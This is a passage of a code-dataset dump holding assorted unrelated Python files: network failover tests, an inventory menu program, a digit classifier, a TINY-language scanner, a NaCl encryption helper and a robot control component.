FaucetConfigGenerator()._create_scale_faucet_config(2, self.switches, self.devices))\n with open(self.config_path, 'w') as config_file:\n yaml.dump(config, config_file)\n\n self.stack_options.update({\n 'devices': self.devices,\n 'switches': self.switches,\n 'mode': 'scale',\n 'overwrite-faucet-config': self.config_path,\n 'skip-conn-check': False\n })\n\n def test_stack_connectivity(self):\n \"\"\"Test to build stack and check for connectivity\"\"\"\n device_list = ['forch-faux-'+str(num) for num in range(1, self.devices * self.switches + 1)]\n for device in device_list:\n self.assertLessEqual(1, self._ping_host(device, '192.168.1.0', count=3, output=True),\n 'Couldn\\'t reach 192.168.1.0 from %s' % device)\n self.assertLessEqual(1, self._ping_host(device, '192.168.1.1', count=3, output=True),\n 'Couldn\\'t reach 192.168.1.1 from %s' % device)\n\n self.assertEqual(10, self._ping_host('forch-faux-8', '192.168.1.0', count=10, output=True),\n 'warm-up ping count')\n\n process = self._ping_host_process('forch-faux-8', '192.168.1.0', count=40)\n time.sleep(10)\n self._fail_egress_link()\n try:\n ping_count = self._ping_host_reap(process, output=True)\n # Check that at least some flow was disrupted, but not too much.\n self.assertTrue(2 < ping_count < 39, 'disrupted ping count %s' % ping_count)\n except Exception as e:\n self._run_cmd('bin/dump_logs')\n raise e\n self._run_cmd('bin/dump_logs')\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"testing/python_lib/test_failscale.py","file_name":"test_failscale.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"408195267","text":"def read_data():\n if not os.path.isfile('inventory.txt'):\n open('inventory.txt', 'w', encoding='UTF-8-sig')\n return dict()\n else:\n with open('inventory.txt','r', encoding='UTF-8-sig') as f:\n filedata = f.read()\n if filedata != \"\":\n inventory_data = ast.literal_eval(filedata)\n return inventory_data\n else: return dict()\n\n\ndef menu():\n print(\"Inventory Management System\")\n print(\"---------------------------\")\n print(\"1. Add inventory items\")\n print(\"2. Show all inventory items\")\n print(\"3. Edit inventory items\")\n print(\"4. Delete inventory items\")\n print(\"0. Leave the system\")\n print(\"---------------------------\")\n\n\ndef input_data():\n while True:\n name = input(\"Please enter product ID to input (Press Enter to return to main menu):\")\n if name == \"\" : break\n if name in data:\n print(\"This product is already in the system!\")\n continue\n quantity = input(\"Please enter the quantity:\")\n datein = input(\"Please enter the date (yyyy/mm/dd):\")\n data[name] = [quantity,datein]\n with open('inventory.txt', 'w', encoding='UTF-8-sig') as f:\n f.write(str(data))\n print(\"Inventory item is saved.\")\n\n\ndef disp_data():\n print(\"ID\\tQuantity\\tDate\")\n print(\"--------------------------\")\n for k in data:\n print(\"{}\\t{}\\t{}\".format(k, data[k][0], data[k][1]))\n input(\"Press any button to return to menu.\")\n\n\ndef edit_data():\n while True:\n name = input(\"Please enter product ID to edit (Press Enter to return to main menu):\")\n if name == \"\":\n break\n if not name in data:\n print(\"{} does not exist in the system.\".format(name))\n continue\n print(\"{} has quantity of {} on {}\".format(name, data[name][0], data[name][1]))\n quantity = input(\"Please input new quantity:\")\n indate = input(\"Please input new date:\")\n data[name][0] = quantity\n data[name][1] = indate\n with open('inventory.txt', 'w', encoding='UTF-8-sig') as f:\n f.write(str(data))\n print(\"Inventory item is saved.\")\n\n\ndef delete_data():\n while True:\n name = input(\"Please enter product ID to delete (Press Enter to return to main menu):\")\n if name == \"\":\n break\n if not name in data:\n print(\"{} does not exist in the system.\".format(name))\n continue\n print(\"Are you sure you want to delete {}\".format(name))\n yn = input(\"Y/N\")\n if yn == \"Y\" or yn == \"y\":\n del data[name]\n with open('inventory.txt', 'w', encoding='UTF-8-sig') as f:\n f.write(str(data))\n print(\"Inventory item is deleted.\")\n\n\n###Main program starts here###\n\nimport os, ast\n\ndata = read_data()\n\nwhile True:\n menu()\n choice = int(input(\"What would you like to do?\"))\n if choice == 1:\n input_data()\n elif choice == 2:\n disp_data()\n elif choice == 3:\n edit_data()\n elif choice == 4:\n delete_data()\n elif choice == 0:\n break\n else: print(\"Please enter a valid number.\")\n\nprint(\"You have left the inventory management system\")\n","sub_path":"inventory_system(v1.0).py","file_name":"inventory_system(v1.0).py","file_ext":"py","file_size_in_byte":3257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"599987801","text":"import unittest\nfrom time import time\nfrom pytraj.base import *\nfrom pytraj import io as mdio\nfrom pytraj.utils.check_and_assert import assert_almost_equal\nfrom pytraj.decorators import no_test\nfrom pytraj import adict\n\nclass Test(unittest.TestCase):\n #@no_test\n def test_0(self):\n traj = mdio.iterload(\"./data/md1_prod.Tc5b.x\", \"./data/Tc5b.top\")\n farray = Trajectory()\n\n t0 = time()\n for i in range(10):\n for frame in traj:\n farray.append(frame)\n\n print (time() - t0)\n print (farray)\n farray.join(farray.copy())\n print (farray)\n\n #@no_test\n def test_1(self):\n traj = mdio.iterload(\"./data/md1_prod.Tc5b.x\", \"./data/Tc5b.top\")\n farray = Trajectory(traj, traj.top)\n print (farray.top)\n t0 = time()\n print (time()-t0)\n print (farray)\n\n farray2 = Trajectory()\n farray2.top = traj.top.copy()\n\n t0 = time()\n for frame in farray:\n farray2.append(frame)\n print (time()-t0)\n\n t0 = time()\n for frame in farray:\n farray2.append(frame)\n print (time()-t0)\n print (farray2)\n\n print (\"try doing action\")\n print (farray2)\n farray3 = farray2[:1000]\n print (\"XYZ\")\n farray3.join((farray3[:], farray3[:], farray3[:]))\n print (farray3)\n t0 = time()\n\n dslist = DataSetList()\n for f0 in farray3:\n assert f0.n_atoms == farray3.top.n_atoms\n print (farray3.top)\n #adict['distance'](\":2@CA :10@CA\", farray3,\n # farray3.top, dslist=dslist)\n \n d0 = adict['distance'](\":2@CA :10@CA\", farray3,\n farray3.top, quick_get=True)\n print (time()-t0)\n print (d0.size)\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/test_FrameArray_append.py","file_name":"test_FrameArray_append.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"446364940","text":"\n\n#calss header\nclass _SNUG():\n\tdef __init__(self,): \n\t\tself.name = \"SNUG\"\n\t\tself.definitions = [u'(of a person) feeling warm, comfortable, and protected, or (of a place, especially a small place) giving feelings of warmth, comfort, and protection: ', u'fitting closely: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_snug.py","file_name":"_snug.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"245826256","text":"import re\n\nfrom bs4 import BeautifulSoup, NavigableString\nimport discord\nimport voxelbotutils as utils\n\n\nclass GithubCommands(utils.Cog):\n\n GITHUB_ANSWER_URL_REGEX = re.compile(r\"https?://stackoverflow\\.com/a/(?P<answerid>\\d+)\")\n GITHUB_ANSWER_API_URL = \"https://api.stackexchange.com/2.2/answers/{answer_id}\"\n GITHUB_ANSWER_API_PARAMS = {\n 'order': 'desc',\n 'sort': 'activity',\n 'site': 'stackoverflow',\n 'filter': '!)Q29mwsOXXJEzlkx48kegp4T',\n }\n\n @utils.Cog.listener(\"on_message\")\n async def github_message_answer_listener(self, message:discord.Message):\n \"\"\"Listens for messages being made and finds Github answer URLs in them\"\"\"\n\n # Set up our filters\n if not message.guild:\n return\n if not self.bot.guild_settings[message.guild.id]['dump_stackoverflow_answers']:\n return\n if not message.channel.permissions_for(message.guild.me).send_messages:\n return\n if not message.channel.permissions_for(message.guild.me).embed_links:\n return\n matches = self.GITHUB_ANSWER_URL_REGEX.search(message.content)\n if not matches:\n return\n\n # Get vars\n github_answer_id = matches.group('answerid')\n async with self.bot.session.get(self.GITHUB_ANSWER_API_URL.format(answer_id=github_answer_id), params=self.GITHUB_ANSWER_API_PARAMS) as r:\n data = await r.json()\n answer = data['items'][0]['body']\n\n # Build the output\n output = []\n soup = BeautifulSoup(answer, 'html.parser')\n for child in soup.children:\n if isinstance(child, (str, NavigableString)):\n output.append(str(child))\n continue\n elif child.name == \"pre\":\n output.append(f\"```\\n{child.text}```\")\n continue\n builder = \"\"\n for nested_child in child.children:\n if isinstance(nested_child, (str, NavigableString)):\n builder += nested_child\n else:\n if nested_child.name == \"code\":\n builder += f\"`{nested_child.text}`\"\n elif nested_child.name == \"a\":\n builder += f\"[{nested_child.text}]({nested_child['href']})\"\n else:\n builder += str(nested_child)\n output.append(builder)\n\n # Format the data\n embed = utils.Embed(use_random_colour=True, description='\\n'.join(output).replace('\\n\\n', '\\n'))\n try:\n await message.edit(suppress=True)\n except discord.Forbidden:\n pass\n await message.channel.send(embed=embed)\n\n\ndef setup(bot:utils.Bot):\n x = GithubCommands(bot)\n bot.add_cog(x)\n","sub_path":"cogs/github_commands.py","file_name":"github_commands.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"464588168","text":"'''\nN° étudiant: 3870665\n'''\nimport numpy as np\nimport matplotlib.pyplot as plt\nplt.close('all') \nimport pyAgrum as gum\nimport pyAgrum.lib.ipython as gnb\nfrom mpl_toolkits.mplot3d import Axes3D\n\nimport time\nimport pickle as pkl\n\n\ndef read_file ( filename ):\n \"\"\"\n Lit un fichier USPS et renvoie un tableau de tableaux d'images.\n Chaque image est un tableau de nombres réels.\n Chaque tableau d'images contient des images de la même classe.\n Ainsi, T = read_file ( \"fichier\" ) est tel que T[0] est le tableau\n des images de la classe 0, T[1] contient celui des images de la classe 1,\n et ainsi de suite.\n \"\"\"\n # lecture de l'en-tête\n infile = open ( filename, \"r\" ) \n nb_classes, nb_features = [ int( x ) for x in infile.readline().split() ]\n\n # creation de la structure de données pour sauver les images :\n # c'est un tableau de listes (1 par classe)\n data = np.empty ( 10, dtype=object ) \n filler = np.frompyfunc(lambda x: list(), 1, 1)\n filler( data, data )\n\n # lecture des images du fichier et tri, classe par classe\n for ligne in infile:\n champs = ligne.split ()\n if len ( champs ) == nb_features + 1:\n classe = int ( champs.pop ( 0 ) )\n data[classe].append ( list ( map ( lambda x: float(x), champs ) ) )\n infile.close ()\n\n # transformation des list en array\n output = np.empty ( 10, dtype=object )\n filler2 = np.frompyfunc(lambda x: np.asarray (x), 1, 1)\n filler2 ( data, output )\n\n return output\n\ndef display_image ( X ):\n \"\"\"\n Etant donné un tableau X de 256 flotants représentant une image de 16x16\n pixels, la fonction affiche cette image dans une fenêtre.\n \"\"\"\n # on teste que le tableau contient bien 256 valeurs\n if X.size != 256:\n raise ValueError ( \"Les images doivent être de 16x16 pixels\" )\n\n # on crée une image pour imshow: chaque pixel est un tableau à 3 valeurs\n # (1 pour chaque canal R,G,B). Ces valeurs sont entre 0 et 1\n Y = X / X.max ()\n img = np.zeros ( ( Y.size, 3 ) )\n for i in range ( 3 ):\n img[:,i] = X\n\n # on indique que toutes les images sont de 16x16 pixels\n img.shape = (16,16,3)\n\n # affichage de l'image\n plt.imshow( img )\n plt.show ()\n\n\ndef learnML_class_parameters ( imgs ):\n #img[n_image][256_pixels] \n data = np.zeros((2,256)) #0 : mu, 1: sigma²\n\n for i in range ( 256 ):\n data[0][i] = imgs[:,i].mean() #imgs[:,i].sum() / len(imgs)\n data[1][i] = pow( imgs[:,i].std(), 2) #pow( (imgs[:,i] - data[0,i]), 2 ).sum() / len(imgs)\n\n #transform output list into array\n output = np.array( data ) # /!\\\n\n return output\n\ndef learnML_all_parameters ( data ):\n output = np.zeros( (len(data), 2, 256) )\n\n for i in range ( len(data )):\n output[i] = learnML_class_parameters ( training_data[i] )\n\n return output\n\ndef log_likelihood ( img, param ):\n log = 0\n for i in range (256):\n if(param[1,i] != 0):\n log += ( -0.5 * np.log( 2 * np.pi * param[1,i]) ) - ( 0.5 * ( pow((img[i] - param[0,i]), 2) / param[1,i]) )\n return log\n\ndef log_likelihoods ( img, param ):\n output = np.zeros( (10) )\n\n for i in range(10) :\n output[i] = log_likelihood( img, param[i])\n\n return output \n\ndef classify_image ( img, param ):\n log = log_likelihoods(img, param)\n return log.argmax()\n\ndef classify_all_images (imgs, param):\n T = np.zeros( (10,10) )\n\n for i in range ( 10 ):\n l = []\n for k in range( len(imgs[i])):\n l.append( classify_image(imgs[i][k], param) )\n for j in range ( 10 ):\n T[i,j] = list(l).count(j)\n T[i,j] /= len(l)\n\n return T\n\n\ndef dessine ( classified_matrix ):\n fig = plt.figure()\n plt.imshow(classified_matrix)\n #ax = fig.add_subplot(111, projection='3d')\n #x = y = np.linspace ( 0, 9, 10 )\n #X, Y = np.meshgrid(x, y)\n #ax.plot_surface(X, Y, classified_matrix, rstride = 1, cstride=1 )\n plt.show()\n\n#######################################################################\n\ntraining_data = read_file(\"train.txt\")\n#display_image ( training_data[2][0] )\n\npar = learnML_class_parameters(training_data[0])\n\nparameters = learnML_all_parameters(training_data)\ntest_data = read_file ( \"test.txt\" )\n\n#log = log_likelihood ( test_data[2][3], parameters[1] )\n#log = log_likelihoods ( test_data[1][5], parameters )\n\nnum = classify_image( test_data[1][5], parameters )\n#print(num)\nnum = classify_image( test_data[4][1], parameters )\n#print(num)\n\nT = classify_all_images ( test_data, parameters )\ndessine(T)\n\n'''\nf= open('data.pkl','wb')\npkl.dump(data,f) # penser à sauver les données pour éviter de refaire les opérations\nf.close()\n'''\n","sub_path":"M1/S1/MAPSI/TP3/Data.py","file_name":"Data.py","file_ext":"py","file_size_in_byte":4718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"439567878","text":"#!/usr/bin/python3\n# -----------------------------------------------\n# css_muncher.py\n#\n# css_muncher\n# Author: \tEvan Wilde <etcwilde@uvic.ca>\n# Date:\t\tAug 03 2014\n# -----------------------------------------------\nimport argparser\n\nimport lexers.cssLexer as cssLexer\nimport lexers.bnfLexer as bnfLexer\n\nimport lexer\nimport parser\n\n# from statemachine import *\n\n__VERSION__ = 0.0\n__PROG__ = \"CSS Muncher\"\n__AUTHOR__ = \"Evan Wilde\"\n\n\ndef main():\n\n ap = argparser.ArgParser()\n ap.add_arg(\"bool\", \"h\", \"help\", \"Show the help text\")\n ap.add_arg(\"bool\", \"version\", description=\"Show program version\")\n ap.add_arg(\"bool\", \"m\", \"minify\", \"Minifies the css code after processing.\")\n ap.add_arg(\"list\", \"f\", \"files\", \"CSS files to be processed\")\n ap.load_args()\n\n if ap['h']:\n print (ap)\n exit(0)\n\n if ap['version']:\n print (__PROG__, str(__VERSION__))\n exit(0)\n\n BLexer = bnfLexer.BnfLexer(['./parsers/css.bnf'])\n bnftokens = BLexer.lex()\n bnfParser = parser.Parser(bnftokens)\n # print (\"Tokens\")\n # print (bnfParser.get_tokens())\n # print (bnfParser.build())\n\n # print (\"Parser\")\n\n # print (bnfParser.parse())\n\n if not ap['f']:\n print (\"Nothing to be processed\")\n exit(0)\n else:\n try:\n Lexer = cssLexer.CssLexer(ap['f'])\n except lexer.LexerTypeError as e:\n print (e)\n\n tokens = Lexer.lex()\n if ap['m']:\n\n # Strip newlines and comments\n # In semantic analysis, we an look at stripping whitespaces\n # since whitespaces are important between an open parenthes is\n # followed by an identity but not when there are commas in between\n\n tokens = [token for token in tokens if token[1] != \"COMMENT\"\n and token[1] != \"NEWLINE\"]\n print (tokens)\n print (\"{0} tokens\".format(len(tokens)))\n\n if ap['o']:\n print (\"Output directory:\", ap['o'])\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"src/css_muncher.py","file_name":"css_muncher.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"557559327","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\nfrom collections import Counter\n\n#\n# Complete the 'isValid' function below.\n#\n# The function is expected to return a STRING.\n# The function accepts STRING s as parameter.\n#\n\ndef isValid(s):\n # Write your code here\n\n tmp = Counter(s)\n flag = False\n tmp = list(tmp.values())\n tmp.sort()\n \n if len(tmp)==1:\n return 'YES'\n \n if len(tmp)==2:\n temp = tmp[:]\n temp[temp.index(max(temp))]-=1\n if len(list(set(temp)))==1:\n return 'YES'\n temp = tmp[:]\n temp[temp.index(min(temp))]-=1\n if len(list(set(temp)))==1:\n return 'YES'\n return 'NO'\n return 'NO'\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n s = input()\n\n result = isValid(s)\n\n fptr.write(result + '\\n')\n\n fptr.close()\n","sub_path":"Hackerrank_sherlock and the valid string.py","file_name":"Hackerrank_sherlock and the valid string.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"182570504","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/toil/lib/encryption/_nacl.py\n# Compiled at: 2020-05-07 00:32:15\n# Size of source mod 2**32: 3752 bytes\nfrom builtins import str\nimport nacl\nfrom nacl.secret import SecretBox\noverhead = 16 + SecretBox.NONCE_SIZE\n\ndef encrypt(message, keyPath):\n \"\"\"\n Encrypts a message given a path to a local file containing a key.\n\n :param message: The message to be encrypted.\n :param keyPath: A path to a file containing a 256-bit key (and nothing else).\n :type message: bytes\n :type keyPath: str\n :rtype: bytes\n\n A constant overhead is added to every encrypted message (for the nonce and MAC).\n >>> import tempfile\n >>> k = tempfile.mktemp()\n >>> with open(k, 'wb') as f:\n ... _ = f.write(nacl.utils.random(SecretBox.KEY_SIZE))\n >>> message = 'test'.encode('utf-8')\n >>> len(encrypt(message, k)) == overhead + len(message)\n True\n >>> import os\n >>> os.remove(k)\n \"\"\"\n with open(keyPath, 'rb') as (f):\n key = f.read()\n if len(key) != SecretBox.KEY_SIZE:\n raise ValueError('Key is %d bytes, but must be exactly %d bytes' % (len(key),\n SecretBox.KEY_SIZE))\n else:\n sb = SecretBox(key)\n nonce = nacl.utils.random(SecretBox.NONCE_SIZE)\n assert len(nonce) == SecretBox.NONCE_SIZE\n return bytes(sb.encrypt(message, nonce))\n\n\ndef decrypt(ciphertext, keyPath):\n \"\"\"\n Decrypts a given message that was encrypted with the encrypt() method.\n\n :param ciphertext: The encrypted message (as a string).\n :param keyPath: A path to a file containing a 256-bit key (and nothing else).\n :type ciphertext: bytes\n :type keyPath: str\n :rtype: bytes\n\n Raises an error if ciphertext was modified\n >>> import tempfile\n >>> k = tempfile.mktemp()\n >>> with open(k, 'wb') as f:\n ... _ = f.write(nacl.utils.random(SecretBox.KEY_SIZE))\n >>> ciphertext = encrypt(\"testMessage\".encode('utf-8'), k)\n >>> ciphertext = b'5' + ciphertext[1:]\n >>> decrypt(ciphertext, k) # doctest: +IGNORE_EXCEPTION_DETAIL\n Traceback (most recent call last):\n ...\n CryptoError: Decryption failed. Ciphertext failed verification\n\n Otherwise works correctly\n >>> decrypt(encrypt(\"testMessage\".encode('utf-8'), k), k).decode('utf-8') in (u'testMessage', b'testMessage', 'testMessage') # doctest: +ALLOW_UNICODE\n True\n\n >>> import os\n >>> os.remove(k)\n \"\"\"\n with open(keyPath, 'rb') as (f):\n key = f.read()\n if len(key) != SecretBox.KEY_SIZE:\n raise ValueError('Key is %d bytes, but must be exactly %d bytes' % (len(key),\n SecretBox.KEY_SIZE))\n sb = SecretBox(key)\n return sb.decrypt(ciphertext)","sub_path":"pycfiles/toil-4.1.0-py3.6/_nacl.cpython-36.py","file_name":"_nacl.cpython-36.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"248298247","text":"\"\"\"\nthis program is written by Abdullah Ali & Alaadin\n\n\"\"\"\n\nfrom tkinter import *\nimport tkinter.filedialog\nfrom tkinter.filedialog import askopenfilename\nroot = Tk()\nroot.title(\"Scanner\")\n#root.geometry(\"500x500\")\nroot.resizable(width=True,height=True)\nimg = PhotoImage(file=\"btn.png\") ##import\n##img = img.zoom(3)\n##img = img.subsample(12)\ncnv = PhotoImage(file=\"convert.png\")\n##cnv = cnv.subsample(5)\noutput_file = 'output.txt'\n\n\n\n\nreserved_words = [\n 'read',\n 'write',\n 'if',\n 'then',\n 'else',\n 'end',\n 'repeat',\n 'until'\n]\nspecial_symbols = '+-*/=<();:'\ntiny=''\n\ndef read_out():\n file_object = open(output_file)\n file_content = file_object.read()\n file_object.close()\n my_text.replace(\"1.0\",\"end-1c\",file_content)\n root.after(40,read_out) ##get output_file\n \n\n \ndef ask_open_file(event):\n filename = askopenfilename(parent=root,filetypes=[(\"Text files\",\"*.txt\")])\n input_f = open(filename,'r')\n input_list = input_f.readlines()\n input_lines = ''.join(input_list)\n entry.replace(\"1.0\",\"end-1c\",input_lines)\n input_f.close()\n \ndef get_token(i):\n token = ''\n token_type =''\n while(tiny[i]=='{' or tiny[i]==' '):\n if tiny[i]=='{':\n while (tiny[i]!='}'):\n i+=1\n i+=1\n\n while tiny[i]==' ':\n i+=1\n if i>= len(tiny):\n return (i,'','')\n\n\n if (tiny[i].isalpha()):\n while tiny[i].isalpha():\n token+=tiny[i]\n i+=1\n if token in reserved_words:\n token_type = 'reserved word'\n else:\n token_type = 'identifier'\n \n elif (tiny[i].isdigit()):\n while tiny[i].isdigit():\n token+=tiny[i]\n i+=1\n token_type = 'number'\n\n elif tiny[i]==':':\n if tiny[i+1] == '=':\n token = ':='\n i+=2\n else:\n i+=1\n token = ':'\n token_type = 'special symbol'\n \n elif tiny[i] in special_symbols:\n token = tiny[i]\n i+=1\n token_type=\"special symbol\"\n else:\n token_type=\"error\"\n while (tiny[i]!=' '):\n token+=tiny[i]\n i+=1\n return (i,token,token_type)\n \n\n\ndef read_Entry(event):\n \n i_string = entry.get(\"1.0\",\"end-1c\")\n if(i_string!=''):\n global tiny\n tiny = i_string.replace('\\n',' ')+' '\n index , size = 0 , len(tiny)\n output = [] \n response = get_token (index)\n while(response[0]<size):\n output.append (response[1]+\", \"+response[2])\n response = get_token (response[0])\n\n ###############################\n fob = open(output_file,'w')\n for line in output:\n fob.write(line+'\\n')\n fob.close\n read_out()##get_output_file\n \ndef changeCursor(event):\n event.widget.config(cursor=\"hand2\")\n\n##Front End\nleft_half = Frame(root,padx=10)\nupper_part = Frame(left_half,padx=10,pady=10)\nLabel(upper_part,text = \"write your code \",font=(\"Courier\",13)).pack(side=LEFT,fill=Y,expand=1)#pack\nimport_btn = Button(upper_part,text = 'or import from file ..',image=img)\nimport_btn[\"border\"]=\"0\"\nimport_btn.pack(side=LEFT,fill=Y)#pack\nimport_btn.bind(\"<Motion>\",changeCursor)\nimport_btn.bind(\"<Button-1>\",ask_open_file)\nupper_part.pack(expand=1)\n#upper_part_done\nmid_part = Frame(left_half)\nentry = Text(mid_part,width=40,height=15,background=\"#d9fcf1\")##height\nentry.pack(side=LEFT, fill = Y,expand=1) #pack\nentry.config(undo=True)\nscroll = Scrollbar(mid_part,command=entry.yview)\nentry['yscrollcommand'] = scroll.set\nscroll.pack(side =LEFT, fill = Y,expand=1)#pack\nmid_part.pack(expand=1,fill=Y)\n#mid_part_is_over\nlower_part = Frame(left_half)\ncnv_btn = Button(lower_part,text = \"CONVERT!\",image=cnv)\ncnv_btn[\"border\"]=\"0\"\ncnv_btn.pack(fill=Y)#pack\ncnv_btn.bind(\"<Motion>\",changeCursor)\ncnv_btn.bind(\"<Button-1>\",read_Entry)\nlower_part.pack(expand=1,fill=Y,pady=10)\n### left part over\nleft_half.pack(side=\"left\",fill=Y,expand=1)\n##output_file\nright_half = Frame(root)\nmy_output_frame = Frame(right_half, bd=2, relief=SUNKEN)\nLabel(my_output_frame,text = \"Output File Contents\",font=(\"Courier\",13),pady = 10).pack()#pack\n#text widget and associated Scrollbar widget\nmy_text=Text(my_output_frame, height=15, width =40,pady = 10)\n\nmy_text.pack(side=LEFT, fill=Y, padx=5)\n\n#add scrollbar widget to the text widget\nmy_scrollbar = Scrollbar(my_output_frame, orient=VERTICAL, command=my_text.yview)\nmy_scrollbar.pack(fill=Y,expand=1,side=LEFT)\nmy_text.configure(yscrollcommand=my_scrollbar.set)\nmy_output_frame.pack(pady=10,fill=Y,expand=1,side=LEFT) #output frame\nright_half.pack(side=\"left\",expand=1,fill=Y,pady=5)#right half\n\n\nroot.mainloop()\n","sub_path":"history/gui+back with photos.py","file_name":"gui+back with photos.py","file_ext":"py","file_size_in_byte":4742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"482910848","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# -*- Python -*-\n\nfrom __future__ import print_function\nimport sys\nimport time\nsys.path.append(\".\")\n\n# Import RTM module\nimport RTC\nimport OpenRTM_aist\n\n\n# import NXTBrick class\nimport NXTBrick\n\n\n# This module's spesification\n# <rtc-template block=\"module_spec\">\nnxtrtc_spec = [\"implementation_id\", \"NXTRTC\", \n \"type_name\", \"NXTRTC\", \n \"description\", \"NXT sample component\", \n \"version\", \"0.1\", \n \"vendor\", \"AIST\", \n \"category\", \"example\", \n \"activity_type\", \"DataFlowComponent\", \n \"max_instance\", \"10\", \n \"language\", \"Python\", \n \"lang_type\", \"SCRIPT\",\n \"conf.default.map\", \"A,B\",\n \"\"]\n\n# </rtc-template>\n\nclass NXTRTC(OpenRTM_aist.DataFlowComponentBase):\n def __init__(self, manager):\n OpenRTM_aist.DataFlowComponentBase.__init__(self, manager)\n\n # initialize of configuration-data.\n # <rtc-template block=\"configurations\">\n self._map = [['A', 'B']]\n self._nxtbrick = None\n self._mapping = {'A':0,'B':1,'C':2}\n \n def onInitialize(self):\n # DataPorts initialization\n # <rtc-template block=\"data_ports\">\n self._d_vel = RTC.TimedFloatSeq(RTC.Time(0,0),[])\n self._velIn = OpenRTM_aist.InPort(\"vel\", self._d_vel)\n self.addInPort(\"vel\",self._velIn)\n self._d_pos = RTC.TimedFloatSeq(RTC.Time(0,0),[])\n self._posOut = OpenRTM_aist.OutPort(\"pos\", self._d_pos)\n self.addOutPort(\"pos\",self._posOut)\n self._d_sens = RTC.TimedFloatSeq(RTC.Time(0,0),[])\n self._sensOut = OpenRTM_aist.OutPort(\"sens\", self._d_sens)\n self.addOutPort(\"sens\",self._sensOut)\n\n # Bind variables and configuration variable\n # <rtc-template block=\"bind_config\">\n self.bindParameter(\"map\", self._map, \"A,B\")\n\n # create NXTBrick object\n try:\n print(\"Connecting to NXT brick ....\")\n self._nxtbrick = NXTBrick.NXTBrick()\n print(\"Connection established.\")\n except:\n print(\"NXTBrick connection failed.\")\n return RTC.RTC_ERROR\n\n return RTC.RTC_OK\n\n def onFinalize(self):\n self._nxtbrick.close()\n\n def onActivated(self, ec_id):\n self._nxtbrick.setMotors([0,0,0])\n # reset NXTBrick's position.\n self._nxtbrick.resetPosition()\n return RTC.RTC_OK\n\n def onDeactivated(self, ec_id):\n self._nxtbrick.setMotors([0,0,0])\n # reset NXTBrick's position.\n self._nxtbrick.resetPosition()\n\n return RTC.RTC_OK\n\n def onExecute(self, ec_id):\n try:\n # check new data.\n if self._velIn.isNew():\n # read velocity data from inport.\n self._d_vel = self._velIn.read()\n \n vel_ = [0,0,0]\n vel_[self._mapping[self._map[0][0]]] = self._d_vel.data[0]\n vel_[self._mapping[self._map[0][1]]] = self._d_vel.data[1]\n # set velocity\n# print(vel_)\n self._nxtbrick.setMotors(vel_)\n else:\n print(\"buffer empty\")\n\n # get sensor data.\n sensor_ = self._nxtbrick.getSensors()\n if sensor_:\n self._d_sens.data = sensor_\n # write sensor data to outport.\n self._sensOut.write()\n\n # get position data.\n position_ = self._nxtbrick.getMotors()\n if position_:\n self._d_pos.data = \\\n [position_[self._mapping[self._map[0][0]]][9], \\\n position_[self._mapping[self._map[0][1]]][9]]\n # write position data to outport.\n self._posOut.write()\n except:\n print(sys.exc_info()[1])\n\n return RTC.RTC_OK\n\n\n\ndef NXTRTCInit(manager):\n profile = OpenRTM_aist.Properties(defaults_str=nxtrtc_spec)\n manager.registerFactory(profile,\n NXTRTC,\n OpenRTM_aist.Delete)\n\n\ndef MyModuleInit(manager):\n NXTRTCInit(manager)\n\n # Create a component\n comp = manager.createComponent(\"NXTRTC\")\n\n\n\ndef main():\n mgr = OpenRTM_aist.Manager.init(sys.argv)\n mgr.setModuleInitProc(MyModuleInit)\n mgr.activateManager()\n mgr.runManager()\n\nif __name__ == \"__main__\":\n main()\n\n\n","sub_path":"OpenRTM_aist/examples/NXTRTC/NXTRTC.py","file_name":"NXTRTC.py","file_ext":"py","file_size_in_byte":4098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"264288305","text":"from pyspark.sql import SparkSession\n\nspark = SparkSession.builder.getOrCreate()\nspark.sparkContext.setLogLevel('WARN')\n\nfrom pyspark.ml import PipelineModel\nimport sys\n\nmodel_path = sys.argv[1]\ntest_path = sys.argv[2]\npredict_path = sys.argv[3]\n\npipeline_model = PipelineModel.load(model_path)\n\ndf_test = spark.read.json(test_path)\n\npred = 